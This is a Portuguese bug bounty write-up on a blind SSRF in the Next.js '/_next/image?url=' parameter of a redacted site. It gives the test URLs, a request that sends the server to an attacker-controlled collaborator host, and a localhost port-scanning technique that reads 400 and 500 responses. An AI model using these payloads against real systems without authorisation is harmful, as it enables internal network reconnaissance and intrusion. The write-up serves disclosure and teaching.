=----------------------------------------------------------------------=
=--[ Blind SSRF - Testando testando testando ]-----------------------=
=----------------------------------------------------------------------=
=--[ by pad1ryoshi ]---------------------------------------------------=
=----------------------------------------------------------------------=
--[0 Índice
1 - TL;DR
2 - Reconhecimento
3 - Brincando com o parâmetro "?url="
4 - Triage
5 - Links
======================================================================
--[1 TL;DR
Recentemente reportei um Blind SSRF no parâmetro "?url=" usado pelo
image optimizer do Next.js em um programa público de Bug Bounty.
Exploração simples: a aplicação fez requisições para um domínio que
eu controlei, mas o impacto direto foi limitado a enumeração de portas/hosts internos(as).
--[2 Reconhecimento
Para ser sincero, eu estava apenas buscando subdomínios que me
chamassem atenção e descobri esse daqui intexpfront[.]redacted[.]co,
uma coisa que eu curto fazer é utilizar o devtools e ficar brincando/analisando
o máximo de informação possível. Na aba "Network" percebi algumas requisições
interessantes acontecendo quando eu recarregava a página =>
https://intexpfront[.]redacted[.co]/_next/image?url=http://intexpfront[.]redacted[.co]/image.jpg&w=384&q=8
Não sei vocês mas toda vez que eu vejo um parâmetro "?url="
automaticamente da vontade de testar SSRF, aproveitei o path "/_next/image"
para procurar artigos sobre possíveis vulnerabilidades de SSRF
relacionadas com o framework Next e encontrei dois artigos super
valiosos (links ao final). Deixando claro, testei basicamente todo o
conteúdo dos dois artigos contra o alvo mas não vou mostrar aqui pois
seria muita coisa para escrever e fugiria de uma "simples anotação".
--[3 Brincando com o parâmetro "?url="
Para testar SSRF sempre começo tentando entender o que posso
controlar ou não na requisição, existem casos que é possível
controlar apenas o path da requisição ou o arquivo, existem casos
que é possível controlar apenas o subdomínio... deu para entender,
eu acho? Então, nesse caso foi bem rápido e prático mas eu tentei
coisas do tipo =>
https://intexpfront[.]redacted[.co]/_next/image?url=http://intexpfront[.]redacted[.co]/naoexisto.jpg&w=384&q=8
ou
https://intexpfront[.]redacted[.co]/_next/image?url=http://intexpfront[.]redacted[.co]:8080/&w=384&q=8
ou
https://intexpfront[.]redacted[.co]/_next/image?url=http://blog[.]meusite[.co]/arquivomalicioso.jpg&w=384&q=8
Uma forma de comprovar o SSRF é enviando uma requisição para um
domínio que controlamos e observando se recebemos algo. Criei uma instância aqui
https://ssrf.cvssadvisor.com/ e controlei o parâmetro alvo da
seguinte forma =>
https://intexpfront[.]redacted[.co]/_next/image?url=https://meu[.]collaborator[.]rs/&w=384&q=8
O website alvo me devolveu uma resposta padrão "The requested
resource isn't a valid image." mas eu recebi a requisição no
domínio em que eu controlo, foi algo parecido com isso =>
----[ HTTP Request Recebido ]----
HTTP/1.1 200 OK
node
meu[.]collaborator[.]rs
*/*
*
cors
br, gzip, deflate
close
---------------------------------
Para deixar claro, eu tentei de várias formas aumentar o impacto
desse Blind SSRF mas não consegui e não acho que foi skill issue...
Bom, quando a gente tem um Blind SSRF meio meme o que a gente pode
fazer? Tentar listar portas de serviços internos e hosts da rede
interna - o mínimo. É super tranquilo fazer essa listagem, foi
literalmente isso daqui =>
https://intexpfront[.]redacted[.co]/_next/image?url=http://localhost:PORT&w=384&q=8
Usei o intruder do Burp para enviar várias requisições para portas arbitrárias. A aplicação devolvia duas respostas diferentes.
Quando a porta está ativa eu recebia um status "400" e quando a porta não estava ativa eu recebia um status "500"
--[4 Triage
Eu reportei para a plataforma de Bug Bounty e a criticidade foi
média. Sendo mais exato "Medium (5.8)". Para ser sincero? Achei
totalmente justo dado o caráter blind e a ausência de um vetor fácil
de exfiltração de dados sensíveis sem combinação com outras falhas.
--[5 Links
[1] https://www.intigriti.com/researchers/blog/hacking-tools/ssrf-vulnerabilities-in-nextjs-targets
[2] https://www.assetnote.io/resources/research/digging-for-ssrf-in-nextjs-apps
[3] https://x.com/hacker_/status/1694554700555981176